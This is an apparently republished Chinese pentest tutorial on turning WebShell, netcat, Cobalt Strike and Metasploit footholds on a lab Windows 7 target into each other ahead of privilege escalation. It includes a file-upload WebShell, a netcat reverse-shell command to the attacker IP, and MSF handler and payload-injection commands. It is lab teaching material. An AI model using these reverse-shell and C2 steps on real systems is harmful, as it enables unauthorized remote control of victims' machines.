[权限提升] 常见提权的环境介绍

关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

通过前期的渗透测试,我们大概率会拿到目标的一个 Shell,比如 WebShell 或者 MSF Shell 等等,不同的 Shell 对应提权的姿势也不同,比如有的 Shell 支持你远程桌面控制,这样的你点点就行,有的就只支持你命令行操作,就需要费点脑筋了。

本章主要讲解各种 Shell 的互相转化,即 WebShell 如何跳转到 MSF Shell,或者 Cobalt Strike Shell 上,了解了不同 Shell 的互相转化,届时你哪个提权顺手就用哪个。

0x01:WebShell

WebShell 就是通过蚁剑,菜刀,冰蝎等工具连接获取的 Shell,这些工具虽然可以很方便的执行命令,但对于提权来说还是太复杂了,我们得想办法将该 Shell 转化为 CobaltStrike Shell 或者 MSF Shell(这两款工具内置了一堆提权脚本,可以很方便提权)。

0x0101:如何获取一个 WebShell

WebShell 一般是通过目标站点漏洞获得的,下面简单演示一下如何拿到一个 WebShell。

先简单介绍一下环境:

  • 靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 “蚁剑” 与 BurpSuite。

访问靶机的 pikachu 靶场的 Unsafe Fileupload 的 client check 模块,随便上传一个图片:

如上,上传成功了,并且展示了文件保存的路径。这里是个简单的客户端校验的文件上传漏洞。我们定位 Burp 中的上传请求包:

将上面这个上传请求包丢到 Repeater 模块中,修改上传内容,我们上传一个 WebShell:

如上成功拿到上传的文件路径,我们做一些拼接,然后访问:

 http://192.168.0.108/pikachu/vul/unsafeupload/uploads/logo.php

然后我们使用中国蚁剑进行一个连接看看,密码就是 a:

如上成功连接,那么至此我们就得到了一个 WebShell,这个 WebShell 是通过目标服务器的 Web 漏洞拿到的:

0x0102:WebShell => CS Shell

WebShell 虽好,但是其对提权的支持几乎为 0。专业的事情还是得专业的来,本节讲解,如何将 WebShell 弹到 CobaltStrike。

简单介绍一下当前的环境吧:

  • 靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 CS 客户端,并且拿到了靶机的 WebShell。

  • 辅助机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

首先是在 Kali Linux 上将 CS 服务端开启起来:

 ./teamserver 192.168.0.100 admin

然后在 Windows 11 上,使用 CS 客户端连接服务端:

在 CS 上创建一个 HTTP 监听器,监听本机的 4444 端口,并命名为 attack:

然后选择 “Attacks” => “Packages” => “Windows Executable”(我们前面了解到靶机是个 Windows 机器),选择监听器为我们上面创建的 attack,点击 Generate 生成一份 Windows 后门程序:

将后门文件保存到本地后,打开 WebShell,将后门程序上传(像蚁剑这些 WebShell 都是自带文件上传功能的,如果读者对此不是很了解的话,建议先把工具学好):

如上,成功上传后门文件,然后打开 WebShell 终端界面,定位你上传的位置,并执行后门程序:

 artifact.exe

如上,成功上线 CS,此时我们获得的一般都是一个较低权限的账户,不过不要慌,CS 一堆提权工具会让你如鱼得水,成功提权的,这个是后话了。

0x02:反弹 Shell

反弹 Shell 的方式多种多样,有 Python 的,/bin/bash 的,这个无所谓,反正都是能拿到靶机的控制权,我们常见的接收反弹 Shell 的工具就是 nc 即 netcat,nc 不像前面的 WebShell 可以通过界面直接上传文件,所以这里也是主要简介如何将 nc 的 Shell 转到 CobaltStrike。

0x0201:拿到一个反弹 Shell

反弹 Shell,一般是目标存在 RCE 漏洞,你找到之后,如果是 Linux 系统用 bash 反弹连接基本就能成,如果是 Windows 系统也可以使用 PowerShell 来进行反弹连接,这里我们演示就比较糙,直接给靶机上传一个 nc 工具,然后让他把自己的控制权移交出来。

先来了解一下环境吧:

  • 靶机 Windows 7:IP 192.168.0.108,具有 Windows NetCat 工具。

  • 攻击机 Kali Linux:IP 192.168.0.100

首先,在攻击 Kali 上使用下面的命令监听本机的 7777 端口:

 nc -lvp 7777

然后在靶机上运行下面的命令,使用 nc 工具将靶机的控制权弹到 Kali 上:

 nc -e C:\Windows\System32\cmd.exe 192.168.0.100 7777

此时我们去看一下 Kali,如下,成功拿到靶机的反弹连接:

0x0202:反弹 Shell => CS Shell

WebShell 好歹还有个可视化的上传功能,反弹 Shell 就比 WebShell 更加糙了,啥也没就一个命令行,所以这里笔者主要讲解如何将反弹 Shell 重新上线到 CobaltStrike 上。我们还是先来理一下环境:

  • 靶机 Windows 7:IP 192.168.0.108,现在已经通过 NC 将控制权移交给了 Kali。

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,并且获得了靶机的 Nc Shell。

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端。

先在 Kali 上开启 Cobalt Strike 的服务端程序,然后使用 Windows 11 的 CS 客户端进行连接,创建一个名为 attack 的监听器,监听服务端的 4444 端口(上面的老流程,笔者这里就不详解了):

然后选择 “Attacks” => “Web Drive-by” => “Scripted Web Delivery(s)” 模块,我们做一个无文件落地的 CS PowerShell 反弹连接命令,选择前面我们创建的 attack 监听器:

点击 Launch 启动后,会给我们一段 PowerShell 的反弹连接代码:

在前面我们已经拿到了靶机的 Nc Shell 了,我们通过 Nc Shell 执行这段反弹连接代码,靶机自然就会上线 CS:

0x03:CobaltStrike

有时候,我们会通过网络钓鱼,直接让目标上线 CS,既然是直接上线 CS,那么就不用像前面那样还要转来转去了,CS 内部就有很多好用的提权插件。

CS 内部的提权插件虽然好用,量大,又管饱,但是架不住有时候你就是没办法用这些插件提权,所以呢,这里笔者主要介绍如何将 CobaltStrike Shell 转移到 MSF Shell,MSF 中也有一堆插件,既然 CS 不行,那我就用 MSF 再试一遍,如果都不行,再上网搜呗。

0x0301:拿到一个 CobaltStrike Shell

先来明确一下我们的实验环境:

  • 靶机 Windows 7:IP 192.168.0.108

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

从靶机上拿一个 CS Shell 还是比较简单的,你可以按照上面 “反弹 Shell => CS Shell” 的方式,直接利用 CS 生成一个 PowerShell 反弹连接命令,然后跑靶机上执行,反正把靶机上线到 CS 上就行:

0x0302:CS Shell => MSF Shell

这里主要讲解如何将 CS Shell 迁移到 MSF 上,首先在 Kali 上启动 MSF,然后我们的靶机是 Windows 机器,所以我们需要在 MSF 中创建一个针对 Windows 的反弹链接监听程序:

 use exploit/multi/handlerset payload windows/meterpreter/reverse_http  # 这里是使用 Windows HTTP 反弹连接监听模块set LHOST 192.168.0.100 # 设置监听的机器为 Kali 自己set LPORT 8888          # 设置监听的端口为 8888run                     # 启动监听模块

然后我们来到 CS 客户端,创建一个监听器,命名为 “msf”,然后 Payload 设置为 “Foreign HTTP”,并设置监听的主机 IP 为攻击机 IP,监听的端口为 8888(与 MSF 对应):

然后在 CS 中右击那个上线的 Windows 靶机,选择 “spawn”,选择我们刚刚创建好的外部的 msf 监听器,即可将 CS 上的 Shell 上线到 MSF 上:

如下,攻击机中的 MSF 成功接收到 CS 传过来的靶机 Shell,解析来就可以使用 MSF 中的提权模块对靶机进行提权了:

0x04:MSF Shell

在上一小节中,我们演示了如何将 Cobalt Strike Shell 传递到 MSF 中。有时候我们还得反着来。那么本节就教你如何将 MSF Shell 传递到 Cobalt Strike 上。

0x0401:拿到一个 MSF Shell

对于拿到一个 MSF Shell,笔者这里就不细致的说了,方法有很多种,你可以针对目标平台使用 msfvenom 生成一个木马软件上传到靶机,然后通过运行木马拿到 Shell,你也可以使用 MSF 探测靶机的漏洞,使用漏洞直接拿到靶机权限,方法很多(如果读者实在不清楚的话,建议还是先学好 MSF 后再来看此节)。

0x0402:MSF Shell => CS Shell

老传统,先明确一下实验环境:

  • 靶机 Windows 7:IP 192.168.0.118

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,已经拿到了靶机的 MSF Shell

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

书接上文,现在我们 MSF 中已经拿到了一台机子:

检查一下你的 CS 客户端,确保你里面有一个正在监听 4444 口的 Beacon HTTP 监听器:

然后回到 MSF,输入下面的命令,将这个 Shell 挂到后台,然后配置 Payload,将这个 Shell 注入到 CS 中:

 bg # 将 Shell 挂起到后台use exploit/windows/local/payload_inject     # 使用 windows 载荷注入模块set payload windows/meterpreter/reverse_http # 使用 HTTP 反弹连接载荷set lhost 192.168.0.100                      # 设置目标为 CS 服务端 IPset lport 4444                               # 设置端口为 CS 监听端口set DisablePayloadHandler Trueset PrependMigrate Trueset session 1                                # 设置注入的会话为 Session 1run                                          # 运行程序

如上,CS 客户端中成功上线靶机。

0x05:远程桌面

有时候进入了目标内网,进行内网信息收集的时候,你还可能发现你控制的靶机中有过连接其他机器的远程桌面历史记录,或者向日葵记录等,此时,你可能会得到一个远程桌面的界面:

针对这种提权,你都登录人家电脑了,你还不想点啥点啥,可操作性就更大了。不过有个限制,你无法直接向他传文件,所以你可能还得想办法让其上线其他的远控工具。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/9690.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL注入漏洞之高阶手法 宽字节注入以及编码解释 以及堆叠注入原理说明

目录 宽字节注入 编码区分 原理 函数 转译符号解释 注意 绕过方式详解 堆叠【Stack】注入攻击 注入语句 宽字节注入 在说宽字节注入之前 我们需要知道编码相关的知识点,这个有助于搞定什么是宽字节注入 分清楚是ascii码是什么宽字节注入代码里面加入了adds…

Spring Boot - 数据库集成05 - 集成MongoDB

Spring Boot集成MongoDB 文章目录 Spring Boot集成MongoDB一:使用前的准备1:依赖导入 & 配置2:实体类创建 二:核心 - MongoRepository三:核心 - MongoTemplate1:集合操作2:文档操作(重点)3&…

用 Scoop 优雅管理 Windows 软件:安装、配置与使用全指南

本篇将主要讲讲如何用「Scoop」优雅管理 Windows 软件:安装、配置与使用全指南 一、Scoop 是什么? Scoop 是一款专为 Windows 设计的命令行软件包管理工具,它能让你像 Linux 系统一样通过命令快速安装、更新和卸载软件。其核心优势包括&…

基于SpringBoot的假期周边游平台的设计与实现(源码+SQL脚本+LW+部署讲解等)

专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…

JavaScript - Web APIs(下)

日期对象 目标:掌握日期对象,可以让网页显示日期 日期对象:用来表示时间的对象 作用:可以得到当前系统时间 学习路径: 实例化 日期对象方法 时间戳 实例化 目标:能够实例化日期对象 在代码中发…

复古壁纸中棕色系和米色系哪个更受欢迎?

根据最新的搜索结果,我们可以看到棕色系和米色系在复古壁纸设计中都非常受欢迎。以下是对这两种颜色系受欢迎程度的分析: 棕色系 受欢迎程度:棕色系在复古壁纸中非常受欢迎,因为它能够营造出温暖、质朴和自然的氛围。棕色系的壁纸…

Windows11无法打开Windows安全中心主界面

​# 问题描述 安全中心无法打卡主界面,并弹出“需要使用新应用以打开此windowsdefender连接”. 解决方法 以管理员权限打开PowerShell,推荐使用快捷键win x打开快捷界面,选择Windows终端(管理员),并在终…

【Valgrind】安装报错: 报错有未满足的依赖关系: libc6,libc6-dbg

Valgrind 内存泄漏检测工具安装 安装 sudo apt install valgrind官方上也是如此 但是在我的系统&#xff08;debian12)上却失败了&#xff1a; 报错有未满足的依赖关系&#xff1a; libc6 : 破坏: valgrind (< 1:3.19.0-1~) 但是 1:3.16.1-1 正要被安装 libc6-dbg : 依赖…

NoSQL与SQL比较

1.认识NoSQL NoSql可以翻译做Not Only Sql&#xff08;不仅仅是SQL&#xff09;&#xff0c;或者是No Sql&#xff08;非Sql的&#xff09;数据库。是相对于传统关系型数据库而言&#xff0c;有很大差异的一种特殊的数据库&#xff0c;因此也称之为非关系型数据库。 1.1.结构…

java——继承

目录 一. 继承的基本概念 二. 继承的语法 三. 继承的核心规则 1.单继承&#xff1a; 2.子类继承父类后&#xff0c;除私有的不支持继承、构造方法不支持继承。其它的全部会继承。 ①访问权限&#xff1a; ②构造方法&#xff1a; 3.一个类没有显示继承任何类时&#xf…

大数据相关职位介绍之二(数据治理,数据库管理员, 数据资产管理师,数据质量专员)

大数据相关职位介绍之二&#xff08;数据治理&#xff0c;数据库管理员&#xff0c; 数据资产管理师&#xff0c;数据质量专员&#xff09; 文章目录 大数据相关职位介绍之二&#xff08;数据治理&#xff0c;数据库管理员&#xff0c; 数据资产管理师&#xff0c;数据质量专员…

《使用通道 Transformer 进行多尺度特征融合,引导热图像超分辨率》学习笔记

paper&#xff1a;Multi-Scale Feature Fusion using Channel Transformers for Guided Thermal Image Super Resolution 目录 摘要 1、介绍 2、相关工作 2.1 可见光图像超分辨率与恢复 2.2 热成像超分辨率 2.3 引导式热成像超分辨率 3、方法 3.1 网络架构&#xff08…

7. 马科维茨资产组合模型+金融研报AI长文本智能体(Qwen-Long)增强方案(理论+Python实战)

目录 0. 承前1. 深度金融研报准备2. 核心AI函数代码讲解2.1 函数概述2.2 输入参数2.3 主要流程2.4 异常处理2.5 清理工作2.7 get_ai_weights函数汇总 3. 汇总代码4. 反思4.1 不足之处4.2 提升思路 5. 启后 0. 承前 本篇博文是对前两篇文章&#xff0c;链接: 5. 马科维茨资产组…

推动知识共享的在线知识库实施与优化指南

内容概要 在当今迅速发展的数字化时代&#xff0c;在线知识库的实施显得尤为重要。它不仅为企业提供了高效的信息存储与共享平台&#xff0c;还能够有效促进团队成员之间的协作与知识传递。通过集中管理企业内的各类知识资源&#xff0c;在线知识库帮助员工快速查找所需信息&a…

51单片机开发:串口通信

实验目标&#xff1a;电脑通过串口将数据发送给51单片机&#xff0c;单片机原封不动地将数据通过串口返送给电脑。 串口的内部结构如下图所示&#xff1a; 串口配置如下&#xff1a; TMOD | 0X20 ; //设置计数器工作方式 2 SCON 0X50 ; //设置为工作方式 1 PCON 0X80 ; …

【电工基础】2.低压带电作业定义,范围,工作要求,电工基本工具

一。低压带电作业 1.低压带电作业定义 低压带电作业是指在不停电的低压设备或低压线路上的工作。对于一些可以不停电的工作&#xff0c;没有偶然触及带电部分的危险工作&#xff0c;或作业人员使用绝缘辅助安全用具直接接触带电体及在带电设备外壳上的工作&#xff0c;均可进行…

C++ 中用于控制输出格式的操纵符——setw 、setfill、setprecision、fixed

目录 四种操纵符简要介绍 setprecision基本用法 setfill的基本用法 fixed的基本用法 setw基本用法 以下是一些常见的用法和示例&#xff1a; 1. 设置字段宽度和填充字符 2. 设置字段宽度和对齐方式 3. 设置字段宽度和精度 4. 设置字段宽度和填充字符&#xff0c;结合…

MYSQL 商城系统设计 商品数据表的设计 商品 商品类别 商品选项卡 多表查询

介绍 在开发商品模块时&#xff0c;通常使用分表的方式进行查询以及关联。在通过表连接的方式进行查询。每个商品都有不同的分类&#xff0c;每个不同分类下面都有商品规格可以选择&#xff0c;每个商品分类对应商品规格都有自己的价格和库存。在实际的开发中应该给这些表进行…

2025春晚刘谦魔术揭秘魔术过程

2025春晚刘谦魔术揭秘魔术过程 首先来看全过程 将杯子&#xff0c;筷子&#xff0c;勺子以任意顺序摆成一排 1.筷子和左边物体交换位置 2.杯子和右边物体交换位置 3.勺子和左边物体交换位置 最终魔术的结果是右手出现了杯子 这个就是一个简单的分类讨论的问题。 今年的魔术…

具身智能研究报告

参考&#xff1a; &#xff08;1&#xff09;GTC大会&Figure&#xff1a;“具身智能”奇点已至 &#xff08;2&#xff09;2024中国具身智能创投报告 &#xff08;3&#xff09;2024年具身智能产业发展研究报告 &#xff08;4&#xff09;具身智能行业深度&#xff1a;发展…